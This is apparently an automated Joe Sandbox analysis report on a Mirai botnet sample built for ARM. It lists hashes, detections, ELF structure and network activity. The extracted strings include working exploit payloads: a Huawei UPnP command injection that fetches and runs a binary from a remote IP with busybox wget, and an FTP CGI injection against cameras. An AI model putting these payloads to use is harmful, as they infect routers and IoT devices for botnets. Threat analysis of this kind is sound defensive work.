Edit tour

Linux Analysis Report
resgod.arm6.elf

Overview

General Information

Sample name:resgod.arm6.elf
Analysis ID:1646429
MD5:200fcb6dc2e78da0149453dd71aafb8d
SHA1:b8c6a0307c598af8b9f808d679cca0c45d078b55
SHA256:f5220d922c59f29d9d732733eb1d5557863203282e94914cfb4bb092b6201bf2
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:72
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings that are potentially command strings
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1646429
Start date and time:2025-03-24 02:07:46 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 20s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:resgod.arm6.elf
Detection:MAL
Classification:mal72.troj.linELF@0/0@2/0
Command:/tmp/resgod.arm6.elf
PID:5434
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • resgod.arm6.elf (PID: 5434, Parent: 5356, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/resgod.arm6.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
resgod.arm6.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
    resgod.arm6.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      SourceRuleDescriptionAuthorStrings
      5434.1.00007fc704017000.00007fc704029000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
        5434.1.00007fc704017000.00007fc704029000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
          Process Memory Space: resgod.arm6.elf PID: 5434JoeSecurity_Mirai_6Yara detected MiraiJoe Security
            No Suricata rule has matched

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Source: resgod.arm6.elfAvira: detected
            Source: resgod.arm6.elfReversingLabs: Detection: 63%
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
            Source: resgod.arm6.elfString found in binary or memory: http://104.168.101.27/resgod.mips;
            Source: resgod.arm6.elfString found in binary or memory: http://104.168.101.27/sh
            Source: resgod.arm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
            Source: resgod.arm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding//%22%3E
            Source: resgod.arm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
            Source: resgod.arm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
            Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.27 -l /tmp/.kx -r /resgod.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
            Source: Initial samplePotential command found: GET /set_ftp.cgi?loginuse=
            Source: Initial samplePotential command found: GET /ftptest.cgi?loginuse=
            Source: Initial samplePotential command found: GET login.cgi HTTP/1.0
            Source: Initial samplePotential command found: GET /set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28echo+-e+"cd+/tmp"+>>+/tmp/.res%29 HTTP/1.0
            Source: Initial samplePotential command found: GET /ftptest.cgi?loginuse=GET login.cgi HTTP/1.0
            Source: ELF static info symbol of initial sample.symtab present: no
            Source: classification engineClassification label: mal72.troj.linELF@0/0@2/0
            Source: /tmp/resgod.arm6.elf (PID: 5434)Queries kernel information via 'uname': Jump to behavior
            Source: resgod.arm6.elf, 5434.1.00007ffe6b5c1000.00007ffe6b5e2000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/resgod.arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/resgod.arm6.elf
            Source: resgod.arm6.elf, 5434.1.0000560b8ef3c000.0000560b8f06a000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
            Source: resgod.arm6.elf, 5434.1.0000560b8ef3c000.0000560b8f06a000.rw-.sdmpBinary or memory string: V!/etc/qemu-binfmt/arm
            Source: resgod.arm6.elf, 5434.1.00007ffe6b5c1000.00007ffe6b5e2000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
            Source: resgod.arm6.elf, 5434.1.00007ffe6b5c1000.00007ffe6b5e2000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

            Stealing of Sensitive Information

            barindex
            Source: Yara matchFile source: resgod.arm6.elf, type: SAMPLE
            Source: Yara matchFile source: 5434.1.00007fc704017000.00007fc704029000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: resgod.arm6.elf PID: 5434, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Source: Yara matchFile source: resgod.arm6.elf, type: SAMPLE
            Source: Yara matchFile source: 5434.1.00007fc704017000.00007fc704029000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: resgod.arm6.elf PID: 5434, type: MEMORYSTR
            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
            Command and Scripting Interpreter
            Path InterceptionPath InterceptionDirect Volume AccessOS Credential Dumping11
            Security Software Discovery
            Remote ServicesData from Local System1
            Non-Application Layer Protocol
            Exfiltration Over Other Network MediumAbuse Accessibility Features
            CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
            Application Layer Protocol
            Exfiltration Over BluetoothNetwork Denial of Service
            No configs have been found
            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Number of created Files
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1646429 Sample: resgod.arm6.elf Startdate: 24/03/2025 Architecture: LINUX Score: 72 8 daisy.ubuntu.com 2->8 10 Antivirus / Scanner detection for submitted sample 2->10 12 Multi AV Scanner detection for submitted file 2->12 14 Yara detected Mirai 2->14 6 resgod.arm6.elf 2->6         started        signatures3 process4

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand
            SourceDetectionScannerLabelLink
            resgod.arm6.elf64%ReversingLabsLinux.Trojan.Mirai
            resgod.arm6.elf100%AviraEXP/ELF.Mirai.W
            No Antivirus matches
            No Antivirus matches
            No Antivirus matches

            Download Network PCAP: filteredfull

            NameIPActiveMaliciousAntivirus DetectionReputation
            daisy.ubuntu.com
            162.213.35.24
            truefalse
              high
              NameSourceMaliciousAntivirus DetectionReputation
              http://schemas.xmlsoap.org/soap/encoding//%22%3Eresgod.arm6.elffalse
                high
                http://schemas.xmlsoap.org/soap/encoding/resgod.arm6.elffalse
                  high
                  http://schemas.xmlsoap.org/soap/envelope//resgod.arm6.elffalse
                    high
                    http://104.168.101.27/shresgod.arm6.elffalse
                      high
                      http://104.168.101.27/resgod.mips;resgod.arm6.elffalse
                        high
                        http://schemas.xmlsoap.org/soap/envelope/resgod.arm6.elffalse
                          high
                          No contacted IP infos
                          No context
                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                          daisy.ubuntu.comgigab.mips.elfGet hashmaliciousUnknownBrowse
                          • 162.213.35.24
                          gigab.arm6.elfGet hashmaliciousUnknownBrowse
                          • 162.213.35.24
                          sh4.elfGet hashmaliciousMiraiBrowse
                          • 162.213.35.24
                          mips.elfGet hashmaliciousMiraiBrowse
                          • 162.213.35.25
                          i686.elfGet hashmaliciousMiraiBrowse
                          • 162.213.35.24
                          spc.elfGet hashmaliciousMiraiBrowse
                          • 162.213.35.24
                          owari.i686.elfGet hashmaliciousUnknownBrowse
                          • 162.213.35.24
                          owari.m68k.elfGet hashmaliciousUnknownBrowse
                          • 162.213.35.24
                          owari.ppc.elfGet hashmaliciousUnknownBrowse
                          • 162.213.35.25
                          owari.sh4.elfGet hashmaliciousUnknownBrowse
                          • 162.213.35.25
                          No context
                          No context
                          No context
                          No created / dropped files found
                          File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
                          Entropy (8bit):6.105762592833144
                          TrID:
                          • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                          File name:resgod.arm6.elf
                          File size:75'052 bytes
                          MD5:200fcb6dc2e78da0149453dd71aafb8d
                          SHA1:b8c6a0307c598af8b9f808d679cca0c45d078b55
                          SHA256:f5220d922c59f29d9d732733eb1d5557863203282e94914cfb4bb092b6201bf2
                          SHA512:ff6f60f1c8e34188fce9ef7962310544e19f5bc901960c98bb2135d44cd30ba5d545562443f07eb883deb75a2b7db4d9a012a11b7c6eaeaaebf2795be3615d65
                          SSDEEP:1536:yRnSo5qoLKvd4yfHdGW3DzdMUa6Qc1I5iUHXImCbbO51Yvl0b:JdHHddMUa3HXImCbbOHLb
                          TLSH:55731B9AB981AB25C6C2557BFE0F114E33038B6CE3DE73129D245B7477CB46B0E2A506
                          File Content Preview:.ELF..............(.....T...4...L#......4. ...(.......................................... ... ... ..................Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.."....... ....-.@0....S

                          ELF header

                          Class:ELF32
                          Data:2's complement, little endian
                          Version:1 (current)
                          Machine:ARM
                          Version Number:0x1
                          Type:EXEC (Executable file)
                          OS/ABI:UNIX - System V
                          ABI Version:0
                          Entry Point Address:0x8154
                          Flags:0x4000002
                          ELF Header Size:52
                          Program Header Offset:52
                          Program Header Size:32
                          Number of Program Headers:3
                          Section Header Offset:74572
                          Section Header Size:40
                          Number of Section Headers:12
                          Header String Table Index:11
                          NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                          NULL0x00x00x00x00x0000
                          .initPROGBITS0x80940x940x100x00x6AX004
                          .textPROGBITS0x80b00xb00xfdf00x00x6AX0016
                          .finiPROGBITS0x17ea00xfea00x100x00x6AX004
                          .rodataPROGBITS0x17eb00xfeb00x1d280x00x2A008
                          .init_arrayINIT_ARRAY0x220040x120080x40x00x3WA004
                          .fini_arrayFINI_ARRAY0x220080x1200c0x40x00x3WA004
                          .gotPROGBITS0x220100x120140x7c0x40x3WA004
                          .dataPROGBITS0x2208c0x120900x24c0x00x3WA004
                          .bssNOBITS0x222d80x122dc0x25ac0x00x3WA008
                          .ARM.attributesARM_ATTRIBUTES0x00x122dc0x100x00x0001
                          .shstrtabSTRTAB0x00x122ec0x5d0x00x0001
                          TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                          LOAD0x00x80000x80000x11bd80x11bd86.18230x5R E0x8000.init .text .fini .rodata
                          LOAD0x120040x220040x220000x2d80xa8803.65330x6RW 0x8000.init_array .fini_array .got .data .bss
                          GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                          Download Network PCAP: filteredfull

                          TimestampSource PortDest PortSource IPDest IP
                          Mar 24, 2025 02:08:28.518795967 CET5781853192.168.2.131.1.1.1
                          Mar 24, 2025 02:08:28.518795967 CET4921653192.168.2.131.1.1.1
                          Mar 24, 2025 02:08:28.616101027 CET53492161.1.1.1192.168.2.13
                          Mar 24, 2025 02:08:28.617662907 CET53578181.1.1.1192.168.2.13
                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                          Mar 24, 2025 02:08:28.518795967 CET192.168.2.131.1.1.10x20ffStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                          Mar 24, 2025 02:08:28.518795967 CET192.168.2.131.1.1.10x5643Standard query (0)daisy.ubuntu.com28IN (0x0001)false
                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                          Mar 24, 2025 02:08:28.617662907 CET1.1.1.1192.168.2.130x20ffNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
                          Mar 24, 2025 02:08:28.617662907 CET1.1.1.1192.168.2.130x20ffNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

                          System Behavior

                          Start time (UTC):01:08:26
                          Start date (UTC):24/03/2025
                          Path:/tmp/resgod.arm6.elf
                          Arguments:/tmp/resgod.arm6.elf
                          File size:4956856 bytes
                          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1